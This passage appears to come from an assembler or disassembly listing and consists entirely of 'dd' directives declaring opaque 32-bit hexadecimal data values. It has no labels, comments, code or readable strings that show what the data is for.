		dd 9A5FE531h, 30082ABh,	6C4896D0h, 122DB53h, 95D7EEBFh
		dd 0C883E9A9h, 0C0058AFh, 370B3D8Bh, 168F722h, 0E0CDEDD9h
		dd 51AED8C2h, 0D1AD2EB4h, 0D210C002h, 0E374A7B0h, 92E86100h
		dd 46A12B6Ah, 0AAD92A87h, 0D48900A0h, 0FC8CDEFFh, 0E2000B30h
		dd 35306F7h, 0ECED6C25h, 87740049h, 0A9F8573Ah,	0AF007112h
		dd 0A4626A3Bh, 1183D4h,	506E6024h, 0DAD63CBDh, 0B807727Dh
		dd 0A54DBC40h, 0A8D97F11h, 592D7180h, 9C561EA9h, 0BB73AF1Fh
		dd 0FD8D001h, 7EC7429h,	34270118h, 0EC8730C0h, 0F46821BBh
		dd 0FB016C1Dh, 82B1A2DEh, 709E1C98h, 405D03F7h,	0BF98A9AFh
		dd 0D60083ECh, 7156F939h, 2CB3F1A4h, 1CCAD0Bh, 57E3FBD5h
		dd 0ED8824CEh, 153CDE00h, 0D0AD87ACh, 0E5C004Fh, 0A3D67B2Bh
		dd 0E0CF678Dh, 3538B87Dh, 9B7FC86h, 5A50741Bh, 0CB2EB022h
		dd 5CA00F42h, 8F9EE90Dh, 0B4FA5509h, 1B10A070h,	31307D0h
		dd 0A10EAF20h, 8EF88838h, 0C005B72h, 445BD7Ch, 26CAB2h
		dd 57497947h, 14C346E6h, 78B5F000h, 0E502A11Ch,	9AA90F01h
		dd 3D8125FCh, 0C45DD6F6h, 79390DCDh, 0B77D01F9h, 0A9164161h
		dd 0D633660h, 0D46B3CEBh, 78F929h, 262A10h, 47395380h
		dd 0A188F867h, 8A74E609h, 0B46C87D6h, 7206E770h, 6458000Bh
		dd 5D151AD3h, 0A350AAA9h, 8907F585h, 0E2A24874h, 0E13B0330h
		dd 69F6F4h, 0CEC77D7Bh,	10F67A27h, 0A6823500h, 5484BB23h
		dd 1C9D3B63h, 53CA3F03h, 0C380890Dh, 923FF7A3h,	0B578FF3h
		dd 0B34E0301h, 0B931C8BEh, 8569003Dh, 0BC64ECB4h, 33069189h
		dd 3ACAD775h, 50270102h, 0F79E37Ah, 0D08DD557h,	4E19174Dh
		dd 97CCD312h, 5C4914D4h, 0AC0068AFh, 0C2D91B15h, 0E4008B82h
		dd 0BF94CEB7h, 4E44FEh,	9F24882Fh, 6E279DE9h, 0A378CC00h
		dd 4DF506F8h, 0D290ADh,	0AEC68EAFh, 9F87BC65h, 61EEA400h
		dd 90F4C166h, 67D900EDh, 2AD51309h, 97FEB922h, 0F0B24D00h
		dd 0E5AFC40h, 5B313EACh, 98AE9B04h, 822AA00Bh, 7824991Fh
		dd 2CEF1583h, 9CAFD026h, 41C60089h, 0AAF0C16Fh,	9703D7E0h
		dd 0F2F9AEE7h, 0FAEAE034h, 0C0E50058h, 3D9CEE81h, 2800F875h
		dd 40C1A25Dh, 1B7DFC2h,	0D67F4D03h, 0F1A0241Bh,	9D2980F7h
		dd 5F48474Fh, 0B12A0E38h, 1A20E2D2h, 6B7E03Ch, 940E3890h
		dd 0CF28D455h, 7985201Ch, 0C9FD11h, 18A47649h, 0E893E358h
		dd 0BFCBA00h, 8039A90h,	0EC2900B3h, 53384F07h, 4400E265h
		dd 0EDD5F24Ch, 6392C7h,	51C586BCh, 0D01DEE5Fh, 1F6C0A00h
		dd 329B81F3h, 153003E9h, 1256A3DAh, 4A0AFA80h, 0CECB5500h
		dd 0AC2023F4h, 8FDF07DCh, 9EB3D2B6h, 0A8BEAFA0h, 220080CCh
		dd 3187FB93h, 0FED0A67Ch, 7AFE0064h, 4D7357BCh,	0B324C190h
		dd 0F10E0824h, 46B1006Dh, 4FA4E99h, 2218E6CBh, 26C080A0h
		dd 0F11D085Ah, 0A6409473h, 9D4D29ACh, 0B0D70013h, 224F3DC5h
		dd 3F001ABDh, 342399CCh, 5BE4BCh, 9D08AE44h, 0FB071B5Ah
		dd 91458103h, 1FC8261Fh, 8B9AA0A8h, 4303F068h, 0F1002F15h
		dd 0F58B2A51h, 0FAB94Ch, 6B72CDF7h, 88117E86h, 5CBC681Dh
		dd 0FEAF39C0h, 137A328Dh, 3EEF9A4h, 967D3818h, 0C98A17B0h
		dd 15F55800h, 3799344Eh, 891E00B8h, 7388FFAFh, 0D0484970h
		dd 0CD9E0180h, 0EE221F44h, 8B37E0C2h, 54EA0ED2h, 1E47F4FBh
		dd 45B14038h, 8100308Eh, 0C911E88Fh, 903294E4h,	71A900CCh
		dd 16035D61h, 0C7007582h, 3AA0C31Bh, 37C2408h, 0CE0766D0h
		dd 30003F74h, 0DC06F47Bh, 744F428Fh, 78D24D7Ah,	4063311Dh
		dd 0C8FB11D1h, 3A005ADDh, 0D8DCDB32h, 37CF922h,	0A3F6F768h
		dd 98013E13h, 0BC031C59h, 7820B252h, 53DC0CDAh,	4E105579h
		dd 0A6FAA809h, 26A70250h, 11DC4096h, 0FB6700D2h, 0ED1A4853h
		dd 0C30145DFh, 68978C33h, 5360B627h, 1C7A0046h,	64153707h
		dd 190026E3h, 0C13FDD17h, 6E6B69h, 91BF47E1h, 0F9C966C3h
		dd 6001E90h, 710C0712h,	0E212351h, 0D7DC6CD4h, 4C4E9822h
		dd 0A8094460h, 0BA3A0600h, 90AB621Eh, 6CD0034Bh, 610BF7EAh
		dd 0FC14F804h, 5A805F11h, 8876A4h, 0E4E1318Eh, 3908A1C9h
		dd 6157B400h, 899A6C79h, 0B04560C0h, 0AAB7E2BEh, 42DCCB00h
		dd 15722F7Eh, 6A774Ah, 97951C9Ah, 14738C88h, 0BADD5300h
		dd 18BC467Ch, 61B404E9h, 0C02EFFF5h, 6E2B0F08h,	7CBED612h
		dd 8028580Eh, 0E0887A92h, 0A68A01F4h, 19C9A25Eh, 7E83015h
		dd 0A68BD33Bh, 6B80ACEDh, 0A1A32A88h, 7F8E4CDFh, 47DE3B01h
		dd 0E47F7069h, 780FBF58h, 0A097CBB2h, 21A45F9Ch, 44DCA046h
		dd 0FF620E6Ch, 0AD2056FDh, 0A749940Bh, 14E4DD48h, 0E4FAD7h
		dd 6A84E0B6h, 90F1937Ch, 0A823F320h, 517C310h, 0E5F701ADh
		dd 3C201EA1h, 31EC36h, 5033CD94h, 76E1EBC6h, 7F606800h
		dd 922266F9h, 7274F4h, 3B94EFBAh, 0F0553680h, 811CDFF8h
		dd 0CC809D5Dh, 0FBA20708h, 333B0052h, 0C464A6FCh, 0F2E08DC9h
		dd 6AB0870Fh, 347FC404h
		dd 7AD38F0h, 0A694F3A7h, 4DD9103Ch, 0B10049C5h,	939C5F0Bh
		dd 958A7Dh, 2BB3D102h, 0C018D7B0h, 0E7A0700h, 0D06B88DBh
		dd 4C9896h, 35E169F0h, 1A0526B3h, 8CCBB700h, 0F43DC7D2h
		dd 0B4A1000Fh, 57140423h, 1A18512Ah, 7CE9ED0Ch,	409E0027h
		dd 0D80EA9B4h, 98053FD3h, 0D23B5E15h, 80061BCh,	1D562E53h
		dd 0C702BC2Dh, 57A78749h, 408C4AD5h, 94FC03h, 68A342BDh
		dd 0F7AD7074h, 54E06E2Eh, 0AF87B585h, 5A431800h, 1D4971E1h
		dd 4CDDCB2h, 91112BA6h,	41D469FCh, 6DCA214h, 0CDFA1B08h
		dd 0D4D8F1A7h, 2A70F769h, 38D69700h, 714FDD27h,	8B430028h
		dd 7448A373h, 80E9BCC6h, 0F7493B59h, 0C8C4AFh, 8F69D60Fh
		dd 0D580FCE3h, 9D6A4205h, 5811A2D1h, 20973048h,	57658016h
		dd 0F2C01443h, 25185389h, 0EAA76B1Eh, 31C0FA5Dh, 60E5120h
		dd 0B87100F7h, 7A869F30h, 157D4824h, 6D2D9A00h,	43FE7F99h
		dd 642E05ECh, 80B989B4h, 3258041Ch, 4D2F4700h, 271EE068h
		dd 727A0028h, 0B4565548h, 6D38F633h, 37A30070h,	0AFBD7D5Bh
		dd 4F4700A4h, 0A8DEA06Bh, 0B2C2DB2h, 1800EE08h,	6C1B1366h
		dd 0BD9600A5h, 45A33369h, 0B73A756Ah, 58C31315h, 53D78007h
		dd 38D95FF0h, 0B8050081h, 2E08C0C4h, 52E814E9h,	4CD87E1Ch
		dd 0E0A01A0Fh, 0C5FA8A2Ch, 32700119h, 0CD98EFC4h, 0A9F53068h
		dd 849BD006h, 6008A05Dh, 0CB832120h, 331EB87Ah,	2D1FF5E0h
		dd 0ED025000h, 8AE778h,	80280DA5h, 98927627h, 0F61DDD18h
		dd 13F4F29h, 43716C73h,	980961D0h, 2F218609h, 1E737048h
		dd 0CC9DAD93h, 0B74890CDh, 6AA10218h, 0C299B460h, 0CAC58B88h
		dd 7B695C90h, 68A54B04h, 6228354h, 7AD09C20h, 0FAD800DEh
		dd 0F5174B1Fh, 60CC880Ch, 0E89181E8h, 458A4CCh,	7167733Ch
		dd 2087624Bh, 9B77E5FAh, 92BBE000h, 0B4993784h,	0D9501B0h
		dd 3A65C34Ch, 0E6F6D8CFh, 17B5DC1Fh, 0EFC589FDh, 0A900D538h
		dd 0BC41F00Fh, 81098CFBh, 5820DCh, 0E25520CCh, 0D33E50F3h
		dd 8075CB28h, 0A9A52F3Fh, 0F311B07Dh, 8277F581h, 5894EE71h
		dd 733EC900h, 6515A372h, 99EF17B2h, 8900FEA7h, 7CAFF8D6h
		dd 1D680003h, 38FB098Eh, 0EA5C873Ah, 30E4002Eh,	0C290DA4Dh
		dd 19E8CEh, 0C58C5F83h,	0E37A17ABh, 38547F39h, 80B23EA9h
		dd 0E6BC298Dh, 0AD8469h, 0FC75C3D2h, 6DDC6F7Fh,	838A7200h
		dd 0F00D2588h, 243800D3h, 3FAF28CCh, 973A4AB3h,	23F592C2h
		dd 0D6482800h, 3E515B53h, 1B0095D5h, 0C4F12979h, 0FA004923h
		dd 8F13FCBDh, 172863h, 0B2C8B05Dh, 0D1EEC415h, 23AC3200h
		dd 7EFFCC31h, 0BE1000B4h, 0CDF037FBh, 6200FAD3h, 77A256F9h
		dd 0FD49CCh, 15D0E3F8h,	0A4A6FB9Eh, 0CE00D8E8h,	3999A74Fh
		dd 18E8F3DCh, 8DBD6CAh,	20C09F9Bh, 55990F5Ah, 77F200C8h
		dd 74ADC9E6h, 3800DC29h, 0A06976DBh, 14DCD72h, 0AFCEDA56h
		dd 0D88CB89Eh, 390607ADh, 8A3F9BB9h, 21F76008h,	0D9DA34CAh
		dd 0C30D3B00h, 17ECF8DCh, 8FB60F2Ch, 658D20DEh,	0A58CEC58h
		dd 50079E00h, 0CF55AD68h, 3F201ED8h, 0B0A01DC7h, 0F55B2651h
		dd 0D5011BE8h, 6D824552h, 5ED9B0EBh, 0E53BE0FFh, 1467C8Fh
		dd 0A1AC9D75h, 70DC5B14h, 6D00CA85h, 529E5F9Bh,	43BB9Ch
		dd 9D89D54Dh, 18692E85h, 4B023700h, 0B16D50F4h,	7804AF80h
		dd 621A6CCh, 11765018h,	7775D521h, 2B3128F6h, 0F4130008h
		dd 0C06E91B6h, 10003C03h, 0A7C89028h, 604F9F29h, 0AA1B1959h
		dd 0B89CA5Eh, 0AC0F2B10h, 23D48C6h, 9F6F1961h, 80D3211Fh
		dd 0F9E6A769h, 393696E7h, 0A0033ABh, 7E68E83Dh,	9A606745h
		dd 0A3419418h, 0F8C1F0C8h, 0B79078A6h, 0C3C0D843h, 0D43029AAh
		dd 34AD50A5h, 0D51E3EB0h, 204FA78h, 9151AE13h, 40A02C2Ah
		dd 0CD121B90h, 0D039D0C0h, 769AB8h, 352ADC96h, 0CF0B6EADh
		dd 31BB1558h, 75BDC0E6h, 0D0C83CE3h, 95CBDC0Eh,	20A7A600h
		dd 0AE013690h, 14C164EDh, 3440FC2Eh, 0C6A15FAh,	0BF90499Fh
		dd 1106B6F9h, 61D81B14h, 1763140h, 0FC5EF118h, 0E5033F22h
		dd 9EAB2878h, 7EFAE09Bh, 0E6FE033Ah, 0FBA2911Fh, 0C7AFC49Bh
		dd 0DA63CF1Bh, 0EBF82EB6h, 0ACA8B801h, 6F0A6B30h, 0E89AC3C2h
		dd 38494283h, 152E83F6h, 0CC753DD6h, 8C98201Eh,	22C026C3h
		dd 7C0E0718h, 1819680h,	3A03299Dh, 40D4E61Bh, 4C38AA98h
		dd 112BDB74h, 0CF102475h, 66851AC8h, 90404A25h,	9A96BFE1h
		dd 1A720122h, 13746E51h, 93F6CC94h, 9938C07Dh, 9B0280B6h
		dd 0F82276DEh, 36BA31F7h, 0EA8C3990h, 9D32FC80h, 9CE80D2Fh
		dd 1A009278h, 0DC30156Bh, 0C2915ABFh, 75FDE4B8h, 0B632BC82h
		dd 0E258B088h, 3F222547h, 0D4E02119h, 0C89C4074h, 0F60F4BB5h
		dd 72C21B8Fh, 58E78021h, 16DA3107h, 0BCA5F6A9h,	159C07Fh
		dd 0AB0637A8h, 0D8AC4243h, 0CD1700B0h, 9A5E5C60h, 2C3051AAh
		dd 0F81818D6h, 7E874816h, 480B5850h, 0F5206825h, 5774AF09h
		dd 0DE2810EFh, 0C71E14E5h, 182498ABh, 89464474h, 78904440h
		dd 78A0FFF4h, 2B1B09C8h, 812078CDh, 0EC228F52h,	0C829AC03h
		dd 4EC8940Dh, 0E0D1B683h, 11AE01FCh, 9E6119B2h,	141C69C0h
		dd 343CA632h, 92C0CBC8h, 1932E6E8h, 29BE3CB1h, 54CC20B3h
		dd 0B218331Eh, 79562805h, 9EC4C000h, 25C2E0h, 0B2EC7E6h
		dd 97854653h, 89F5BA39h, 0A0C82CA1h, 909A4230h,	4E690089h
		dd 577E09C4h, 1F007AC6h, 0DC073C2Eh, 0A8D30C38h, 60D13788h
		dd 2663887Eh, 6D268242h, 0DF645076h, 9080B848h,	8F23AEE0h
		dd 0E633295Fh, 1E9203C4h, 0E18016ADh, 290366C3h, 0A996ACE0h
		dd 0B7CAB098h, 56A071Ah, 0CCCC4332h, 0CBFE7FB8h, 71A31130h
		dd 82E1DF6h, 0D4BC2AAEh, 42DF9100h, 0C04895C7h,	98725581h
		dd 796C3F1Ah, 81BE48A9h, 98CC105Fh, 96C632DFh, 4B10CD28h
		dd 0F4721FA1h, 6853197Fh, 64D70888h, 8658045h, 0C3E9B7FCh
		dd 680EDCB5h, 0A15B9159h, 0C1E1C46Ah, 0F89ADCh,	1F53D9FAh
		dd 7EC725CDh, 0DCAA1DF2h, 0DCA92003h, 56E0F4EBh, 7101F93Dh
		dd 91D32261h, 0B1BF45F3h, 0E7243680h, 66AAE815h, 1802E224h
		dd 0DC2C080Ah, 2BF61407h, 3E057470h, 3DB3138Dh,	26980B03h
		dd 31721706h, 61912C06h, 1218EB7Bh, 5C5F01Eh, 312E65ACh
		dd 0F029A0E8h, 28015A39h, 5016014Eh, 7C641F7Dh,	0E6D305B6h
		dd 22D619B9h, 0DD8AB3FCh, 93300F8h, 0AFA9212h, 57FA20Eh
		dd 0C108E11Ah, 2020899Eh, 9AB70125h, 1E8E191Dh,	4113F0A9h
		dd 0C7BF5301h, 0D55149B5h, 2033B04Ch, 0B614B82Bh, 20B8A390h
		dd 12178E4h, 16F5357h, 314249A6h, 3350488Ch, 0B538411Dh
		dd 8043B048h, 1AABE673h, 0B0A0230Bh, 0F600AED7h, 0F21D554Dh
		dd 69661418h, 7080417Fh, 2351A13h, 0C4EC3228h, 65259A1Ch
		dd 0B4F5CB80h, 0C3AF9181h, 667E5A18h, 539B90C0h, 0E6021574h
		dd 1B38CA4Fh, 268468DAh, 59CBEC33h, 0E854A483h,	1848F6A3h
		dd 29DFAB3Ah, 0B13E0153h, 302CB219h, 761D216Fh,	0E899C9F9h
		dd 7E00E836h, 46A59218h, 1DC76DD7h, 1644193Dh, 6714090Eh
		dd 522F7980h, 0DC1F2BFBh, 6140059Bh, 7350B3ADh,	59CC3982h
		dd 0F6CB110Eh, 18ECB740h, 78004270h, 6A2220AEh,	1F7CC6h
		dd 9DF750F2h, 398E2C76h, 0A1E0154Ch, 0C804A7A1h, 0F7499F80h
		dd 28582624h, 0CBD51408h, 0C5209C16h, 0E434AB01h, 69380852h
		dd 73518B41h, 37F18C21h, 0F8426822h, 2645A054h,	9004C825h
		dd 519D104Eh, 22F53513h
		dd 0D121AB20h, 3CCB7253h, 19426128h, 0CC51E4A9h, 6195C3DCh
		dd 1BB8B1E1h, 0A7372014h, 0DF04F7B8h, 0A95C63Bh, 819B40CCh
		dd 744C48A9h, 1E283A64h, 40858627h, 5160C564h, 4C84E15Ah
		dd 1238C76Dh, 2460EBE1h, 0DF41FA90h, 90C925D4h,	12297B40h
		dd 34AAB52Dh, 7D00CCF0h, 0D1902360h, 4CF190B0h,	7449ACCBh
		dd 0E1149880h, 0B05931DBh, 508CC128h, 34203851h, 0CC180E52h
		dd 4B928D10h, 0D090E6ACh, 0F74C2283h, 0C7608368h, 551AB805h
		dd 0C0BCAAA4h, 0B8A36314h, 8EC10948h, 68237E1Bh, 0DE0DDB9h
		dd 0DE4C9AC2h, 2117CC24h, 1B9E24FBh, 1CEF8724h,	0A593F2BAh
		dd 2220686Eh, 0F21C05B1h, 52803009h, 0B75048BCh, 6FA604BEh
		dd 1889DB3Ch, 91E99892h, 80BE361Ch, 0D2294151h,	0F8E5668Ch
		dd 59A0ADCh, 0AC5C160Dh, 53758100h, 0E06D3A7Ch,	1A707B24h
		dd 0E124197Ch, 0F043C0DFh, 92812454h, 2C9E0018h, 9C095390h
		dd 1A897E60h, 0A327C4Dh, 3E96EBA2h, 6EA9876Ch, 0F529EC82h
		dd 0BA05C902h, 8958F7E7h, 0EE249B9Ah, 90AD50B0h, 33530E99h
		dd 43C78DE2h, 78FB45E4h, 0CA176B18h, 0D90730B5h, 0E0BEF67Dh
		dd 149E6C9Ah, 0FC434C9Bh, 0ADE04093h, 32A23E97h, 30C1DC2Eh
		dd 0DAB81800h, 1F0BC22Dh, 820DEA1Ch, 0A1B97F41h, 6A027480h
		dd 0A898FD12h, 408E1E2Ah, 27947E5Ch, 4CC7EDAh, 0A21D691Ah
		dd 1BFB843Ch, 6EF8D125h, 112E6050h, 37246498h, 18B5010h
		dd 0AA8880DEh, 2A269D91h, 1FC87A9h, 49FB9088h, 0D89842F1h
		dd 57006981h, 57EB88Ch,	2636DE09h, 0A8103D4Dh, 88D67464h
		dd 9E051DB8h, 389FC7A6h, 0FDCEC49h, 915B6594h, 1A0C6C80h
		dd 0D30D00D2h, 0CAB678E1h, 0AA0957ADh, 68397EDBh, 76FAEE4h
		dd 5B9D3B42h, 280C9BA5h, 0C10A0138h, 90D8E5E0h,	7B96A905h
		dd 8DED00Ah, 18926062h,	0B3CCAC3h, 8ECF09E0h, 0B43D8316h
		dd 0EF2CF0A4h, 0DF23922h, 0ADFB9300h, 0F4E13C1h, 0CAFA20A4h
		dd 1ABF3Eh, 0BC23BA7Ch,	96A7A410h, 80289Ch, 9B029618h
		dd 5173A890h, 7EDC5919h, 0A0EA1DD8h, 0B0136A90h, 7519C982h
		dd 0D308FC8Eh, 0B92C5264h, 0B9921640h, 508B8120h, 30753E38h
		dd 1E924A4h, 0E842AA22h, 0CD88099h, 0A8894D65h,	94C12ED4h
		dd 283B8B20h, 12E88888h, 0AE04010Dh, 0D63DA3AAh, 37C82848h
		dd 60DC8F50h, 17EBD609h, 0F0040CAAh, 0FA7501C0h, 0C2FE3A09h
		dd 0E8C1E611h, 0D91BC71Bh, 9A91ACDBh, 0E2B0C04Bh, 4194A2F7h
		dd 38831AD0h, 0A49403E6h, 0F89396D9h, 0B714C933h, 0C808DD42h
		dd 0F102C0ABh, 75F83815h, 0A5012890h, 34D58C7Bh, 9C8408Eh
		dd 1D182974h, 1426C244h, 0C826D4C5h, 0B73CC380h, 66AEEBh
		dd 1EFFA584h, 0A07B42DDh, 0F1752F19h, 0FA089938h, 1508BC0Dh
		dd 0C7F0614Dh, 9B431454h, 29DD032h, 7C42992h, 3560C071h
		dd 53523E55h, 442BCC8Ch, 20BC6AB0h, 2804BAC8h, 12A43846h
		dd 40AE8F7Ch, 805A744h,	0EA5C2278h, 0C11E05B0h,	832E9B6h
		dd 6A7631E7h, 88AD350Dh, 0E0BAB040h, 0EED80975h, 0F401298Ch
		dd 20A93E74h, 0C1FC57D0h, 1D081180h, 0E4F25382h, 0DA4E82FCh
		dd 0DC59C826h, 11EEF42h, 344E5F18h, 616259B0h, 648B2D49h
		dd 0F8C08020h, 1EDA0042h, 58C391D0h, 7B3B5687h,	343205D6h
		dd 0C0C7B62Eh, 0A841F037h, 98FD3E94h, 6B7E608Fh, 49680CECh
		dd 9AAE240h, 391C1227h,	272C60C9h, 0D4910B0h, 3F187302h
		dd 5479794Dh, 50920281h, 442490C1h, 0E035E3C3h,	24D91890h
		dd 1BA10A5h, 10013176h,	80707E3Ch, 0BE2907EFh, 23E9DBEAh
		dd 1904B9A0h, 0EB0EFC2Dh, 3FE8C0E4h, 6C598E94h,	0E525872h
		dd 11F7180Ch, 263F1A91h, 0FC960035h, 7D68C20Bh,	973B039Ah
		dd 0D2B1DC36h, 0CFB114F3h, 840C6285h, 0B0E1C2Fh, 0AB4D9FC7h
		dd 0B8C04C8Fh, 769643EBh, 0C0C77106h, 2438C52Ch, 0AA052F0h
		dd 8A182DFEh, 58300C7Dh, 22801DFFh, 1FA9246Dh, 8BC780C0h
		dd 0DB8FA87Fh, 0F6C02000h, 14953522h, 21F83F18h, 0B804D0D4h
		dd 3A5804C8h, 0F0C08A10h, 0A516FC88h, 14C2BA2Ah, 210CA51Ah
		dd 901BACD2h, 1936A2E4h, 99663F19h, 81006DE7h, 6DBCC695h
		dd 380A731Eh, 0D06F4018h, 0C0370101h, 0A46875BDh, 0AE4C5702h
		dd 0D8A1BF4Bh, 81ADE42Fh, 92FEBA11h, 0FC391398h, 75EBE606h
		dd 3109A0B3h, 4005C838h, 41D3388h, 95C7B510h, 80904EC1h
		dd 0ACBFDE29h, 96CD3E7Ch, 401A4E16h, 759DB84h, 0A8003E2Eh
		dd 1BF689D5h, 508CEF8h,	981E0CCBh, 0C21AC012h, 371BF4A3h
		dd 0E0386473h, 262CFAh,	5BACAAB2h, 0F432E406h, 685D5F00h
		dd 2ADC55E0h, 7C41252Eh, 540063D6h, 0CC09A976h,	52C70149h
		dd 0E46BF408h, 0F7AAFD0Dh, 0E900B1A6h, 31160B0Ah, 1332D864h
		dd 0A522F9h, 97A0E680h,	2D00F5A6h, 3ACB166h, 12C8D0Fh
		dd 9A2F9E1Fh, 84E883C7h, 0DB2ECC49h, 8492491h, 0C8F193h
		dd 1AEA0C6Ch, 0EBE01E47h, 0F59A3B1Fh, 1F0D9640h, 0A14C64D0h
		dd 0BBF06218h, 0CE3700B6h, 510CE26Dh, 7A3E09B1h, 40AD026Fh
		dd 504C1A7Fh, 60A8A2D0h, 3B330CCh, 55AE45DBh, 7BA3EC2Ch
		dd 8B7118B0h, 0D81FDF7Ch, 0DF2E6D90h, 0C756E800h, 346C9DF5h
		dd 80188F78h, 8CBA7498h, 12223803h, 0C0733166h,	1A1BC7Ah
		dd 410CE4B4h, 9844E3C6h, 6F218708h, 2DA20054h, 0C70F0274h
		dd 35003639h, 0F6067EB5h, 0FA9569h, 0EF18D772h,	0CA2D8391h
		dd 2931F218h, 0C35ABA18h, 38F81248h, 0BCB65000h, 36E8919h
		dd 0FA0400E9h, 121DDAA6h, 5420C607h, 5AB41F5Ch,	8FC99D7Bh
		dd 2B2C658Bh, 62019091h, 1B5AAA97h, 209FE00Ah, 996A06FEh
		dd 530F7161h, 0E15026E2h, 0D7FD4B86h, 21620998h, 2602AA33h
		dd 0BB94074h, 808C8F8Eh, 0BC80C95Bh, 782400DAh,	45A6AA1Ch
		dd 0F00231Ah, 9488B3D1h, 31131h, 3DF2EB4Dh, 1B59BAFDh
		dd 88C09230h, 1E0EFA09h, 0C0334334h, 3735CA5Dh,	32039F95h
		dd 5C7BD06Fh, 0FD0CC8B3h, 0CBF500B4h, 8455FA23h, 3B7C955Dh
		dd 0BCEBC600h, 620892A6h, 0D6A100DBh, 0A79C4364h, 2C037C19h
		dd 5C6BCEFBh, 0F65EE820h, 3C3AEEADh, 7C148Dh, 60AB754h
		dd 4F42F92Ah, 6E17DE00h, 0C3315F04h, 65E7836h, 0A6546D98h
		dd 6620297Dh, 0FF60014Dh, 3D2419EBh, 0B1CFE48Ah, 0FD6A4100h
		dd 0BA859BB3h, 58040111h, 0A15C8649h, 0A0ECC874h, 970D2400h
		dd 0A612DA64h, 6D8A0043h, 0DD116EA5h, 0E300B671h, 79E2CA49h
		dd 3D21F424h, 0C1007332h, 80AA10A6h, 2600671Ah,	72C5DC29h
		dd 3B969Ah, 40E3247Bh, 6D05D8F2h, 393E4D00h, 0C82A8A7Fh
		dd 0FBB403ADh, 0F7CA8F79h, 0F2D478C8h, 0D03A80A1h, 3000EE91h
		dd 8DBF80Eh, 67C0C8h, 6FB54EBh,	0A35DB7C1h, 0C510DE00h
		dd 0B3AEEAB1h, 0E54F4E0h, 60A84530h, 0AC0B0720h, 280034BAh
		dd 164EEDE7h, 38AD77E3h, 31586AC0h, 4785300Fh, 0C353A40h
		dd 9700EC61h, 8B0F56A3h, 6FE6A1h, 62E51902h, 7E419FA8h
		dd 995D200h, 0E65D4CEAh, 8C1C0063h, 94E7225Ch, 7A00FB4Ah
		dd 0EBEF53E5h, 1F4E4387h, 0C0922E06h, 0D4A9B989h, 5C123D9Ch
		dd 0D0D3h, 166D7273h, 60E27Fh, 0CEE24479h, 0C00C1E1Dh
		dd 42AEB201h, 948D0330h, 0F86FFEC0h, 80930071h,	123F744Fh
		dd 9806D46Ch, 89782E25h, 299C00BEh, 0BD4802FFh,	43078647h
		dd 330538E9h, 6B40E7h, 0F2E9079h, 688926C0h, 85C3005Ch
		dd 0EB66EE81h, 2C83A700h, 0B9A975D4h, 46A404E8h, 904282A5h
		dd 0E7307904h, 72BC1107h
		dd 61C7FC26h, 436EB892h, 0AB408868h, 7DE42CD5h,	0C2880075h
		dd 0F3BD290Ah, 69083400h, 9D0C454h, 501C00E8h, 60ADF22Dh
		dd 9EC04DEBh, 0FE665389h, 63AE3F4Bh, 0B31BD18Dh, 0A28AF478h
		dd 92240800h, 0E8526D95h, 6C7591h, 0C1E726B8h, 5CDC51BBh
		dd 78D74E0Ch, 0F6EBB1DFh, 0E53E00E9h, 152B797Dh, 349021D1h
		dd 2AF4272Eh, 0CB603800h, 7E4A1864h, 56CE0025h,	0AEF76E5h
		dd 0FA72929Fh, 3AD04E00h, 1E8F37DBh, 304C7CECh,	4810DC79h
		dd 0FF002F33h, 0A7803CFDh, 10A3E05h, 3A5E0FEEh,	0FB428A6Fh
		dd 0D8D0BEA0h, 8FF64E00h, 0E5D5FC7Ah, 62830BA0h, 9C00DC2Ah
		dd 0B2C4B7E2h, 0B8709609h, 18A000ABh, 379B3F2h,	6029485Ch
		dd 33B0FF95h, 0C400C754h, 0C6EB4F74h, 112BF46h,	0FF0BCD20h
		dd 406C1CA1h, 0EDF814C8h, 588B1501h, 55B8FCC4h,	0C3C4AAF1h
		dd 3FD7AB9h, 3BD0EB17h,	7000ECD5h, 0E90B9806h, 0AFB95D8h
		dd 171B302Ah, 0F56E0898h, 82EE5D01h, 55C4E5EFh,	0A34D0027h
		dd 942D68D1h, 0BD775E33h, 4A819800h, 2D546D8h, 62220050h
		dd 769115F1h, 0AB169A9Ch, 75003143h, 0C60B9DAFh, 3B4500AEh
		dd 3672162h, 4B00F656h,	2C782A8h, 0E12A0Dh, 7ED64011h
		dd 0F920C471h, 0C5138300h, 9874239h, 3FAAEh, 0ED46E9BDh
		dd 3B8AEC91h, 0BF2FD200h, 63D741BAh, 5436000Ah,	84986534h
		dd 0B100FF8Eh, 0AA4C0B3Bh, 0C0F10C72h, 8C9AECE8h, 4100A8E5h
		dd 0B4FBF7C2h, 0EA0845F3h, 346A009Ch, 0D4C9CC89h, 203E75EDh
		dd 4A250018h, 7DD0B19Fh, 879C0054h, 35F51E98h, 0E200C467h
		dd 51C12340h, 7AEDB03h,	9B2706CCh, 2E4A7002h, 0F8003D97h
		dd 2B2A5783h, 778DFEh, 0DE9E9C4Bh, 69D9ED4Ch, 4382F900h
		dd 619753DFh, 3DDB0292h, 0AF639E59h, 0F5524448h, 88342100h
		dd 0D8D1A582h, 49EF00F9h, 912324C5h, 9700C470h,	774FAABDh
		dd 2B20F6h, 0D25C0ADCh,	0D062DFB7h, 609A4409h, 7300E6Ch
		dd 76108716h, 494B84h, 401072C1h, 0CE890342h, 0E8225E07h
		dd 58209916h, 7B4CD6Ah,	919CAB0Ch, 867D4071h, 44906D55h
		dd 4142C22h, 2F4064B3h,	1D148060h, 0C04DBCAh, 0E01B56E1h
		dd 0BCDD4CD0h, 407900FAh, 70FF332Dh, 4209543Dh,	800E07A0h
		dd 0A882D48Bh, 0A6152694h, 6C310078h, 74C718E1h, 7538E33Bh
		dd 899F6D00h, 79216678h, 0C8C203F7h, 0E8EFE54Bh, 0E89A9B99h
		dd 41FD530h, 1947C9ACh,	6B40638Eh, 4C2BC35Bh, 0D600D8A0h
		dd 0C90CB1D2h, 441DCE66h, 3F9D13E6h, 2B237480h,	3E18DE0Bh
		dd 0A4806811h, 0DBDF809h, 69FEA34Ch, 0A824B0B0h, 5C002CF7h
		dd 5FFA2E67h, 2CE6A0F3h, 0A9D900DCh, 0C1999811h, 0EF004449h
		dd 0B5FC5AF9h, 6FAF86h,	47979FBFh, 17EF4CCh, 0F01D8E7Ah
		dd 1CC16ADDh, 378D4E27h, 9B6101D7h, 14A118EFh, 3C17CC22h
		dd 0E5FD9AE0h, 38E8F282h, 141C8E98h, 0F4070143h, 2F002145h
		dd 2EE3564Eh, 8E4CC2DFh, 9F603E57h, 0A568F82Bh,	0BF7CB24h
